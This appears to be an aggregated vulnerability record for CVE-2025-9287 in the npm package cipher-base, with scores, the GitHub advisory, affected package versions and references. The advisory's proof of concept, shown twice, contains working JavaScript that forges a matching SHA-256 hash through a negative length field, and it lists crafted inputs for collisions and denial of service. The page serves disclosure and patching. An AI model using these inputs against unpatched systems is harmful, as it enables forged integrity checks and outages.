CVE-2025-9287
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.1
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
CVE-2025-9287- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2025-25405
9.1
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
EUVD-2025-25405- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cpq7-6gpm-g9rc
9.1
cipher-base is missing type checks, leading to hash rewind and passing on crafted data
Summary
This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package
Also affects create-hmac and other packages
Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = createHash('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
This works with:
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
But there are other types of input which lead to unchecked results
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
- Also, other typed arrays results are invalid, e.g. returned hash of
new Uint16Array(5)is the same asnew Uint8Array(5), notnew Uint16Array(10)as it should have been (and is in Node.jscrypto) -- same for arrays with values non-zero, their hashes are just truncated to%256instead of converted to correct bytelength
- Record
GHSA-cpq7-6gpm-g9rc- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
9.1
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
CVE-2025-9287- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
9.1
Missing type checks leading to hash rewind and passing on crafted data
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
CVE-2025-9287- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-9287
9.1
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
DEBIAN-CVE-2025-9287- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-cpq7-6gpm-g9rc
9.1
cipher-base is missing type checks, leading to hash rewind and passing on crafted data
Summary
This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package
Also affects create-hmac and other packages
Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = createHash('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
This works with:
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
But there are other types of input which lead to unchecked results
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
- Also, other typed arrays results are invalid, e.g. returned hash of
new Uint16Array(5)is the same asnew Uint8Array(5), notnew Uint16Array(10)as it should have been (and is in Node.jscrypto) -- same for arrays with values non-zero, their hashes are just truncated to%256instead of converted to correct bytelength
- Record
GHSA-cpq7-6gpm-g9rc- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-9287
9.1
Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.
- Record
UBUNTU-CVE-2025-9287- CVSS 4.0
- 9.1 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1779670116 No score
TuxCare security update for cipher-base (1 CVE)
TuxCare rebuilt cipher-base to address 1 CVE. Fixed in 1.0.4-tuxcare.1.
- Record
CLSA-2026-1779670116- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15484-1 No score
jupyter-bqplot-jupyterlab-0.5.46-12.1 on GA media
These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-12.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15484-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-9287 No score
CVE-2025-9287 in cipher-base - Patched by Root
Root has patched CVE-2025-9287 in the cipher-base package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-9287- Updated
- 2026-11-02
OSVUSN-7746-1 No score
node-cipher-base vulnerability
Nikita Skovoroda discovered that cipher-base did not properly manage certain inputs. An attacker could possibly use this issue to manipulate the internal state of hash functions, resulting in hash collisions, denial of service, or other unspecified impact.
- Record
USN-7746-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
cipher-basenpm |
through 1.0.4 | 1.0.5 |
cipher-baseTuxCare:npm |
1.0.4-tuxcare.0 up to 1.0.4-tuxcare.1, plus listed versions 1.0.4 |
1.0.4-tuxcare.1 |
node-cipher-baseDebian:12 |
before 1.0.4-6+deb12u1, plus listed versions 1.0.4-6 |
1.0.4-6+deb12u1 |
node-cipher-baseDebian:13 |
before 1.0.4-6+deb13u1, plus listed versions 1.0.4-6 |
1.0.4-6+deb13u1 |
node-cipher-baseDebian:14 |
before 1.0.6-1, plus listed versions 1.0.4-6 |
1.0.6-1 |
node-cipher-baseDebian:11 |
before 1.0.4-4+deb11u1, plus listed versions 1.0.4-4 |
1.0.4-4+deb11u1 |
cipher-basenpm |
before 1.0.5 | 1.0.5 |
cipher-baseRoot:npm |
before 1.0.4-aikido.1 | 1.0.4-aikido.1 |
@rootio/cipher-baseRoot:npm |
before 1.0.4-root.io.1 | 1.0.4-root.io.1 |
node-cipher-baseUbuntu:Pro:18.04:LTS |
before 1.0.4-1ubuntu0.1~esm2, plus listed versions 1.0.4-1 |
1.0.4-1ubuntu0.1~esm2 |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-cipher-baseUbuntu:Pro:20.04:LTS |
before 1.0.4-4ubuntu0.1~esm2, plus listed versions 1.0.4-4 |
1.0.4-4ubuntu0.1~esm2 |
node-cipher-baseUbuntu:22.04:LTS |
before 1.0.4-6+deb13u1ubuntu0.22.04.1, plus listed versions 1.0.4-41.0.4-51.0.4-6 |
1.0.4-6+deb13u1ubuntu0.22.04.1 |
node-cipher-baseUbuntu:24.04:LTS |
before 1.0.4-6+deb13u1ubuntu0.24.04.1, plus listed versions 1.0.4-6 |
1.0.4-6+deb13u1ubuntu0.24.04.1 |
python-bqplotopenSUSE:Tumbleweed |
before 0.12.45-12.1 | 0.12.45-12.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-9287 is a critical vulnerability (CVSS 9.1) in Browserify Cipher-base, published August 20, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in cipher-base 1.0.5.
References
github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc
github.com/browserify/cipher-base/pull/23
lists.debian.org/debian-lts-announce/2025/09/msg00005.html
nvd.nist.gov/vuln/detail/CVE-2025-9287
github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294
github.com/advisories/GHSA-cpq7-6gpm-g9rc
Show 8 moreShow less
npmjs.com/cipher-base
github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9287.json
github.com/browserify/cipher-base
security-tracker.debian.org/tracker/CVE-2025-9287
ubuntu.com/security/CVE-2025-9287
cve.org/CVERecord?id=CVE-2025-9287
ubuntu.com/security/notices/USN-7746-1
suse.com/security/cve/CVE-2025-9287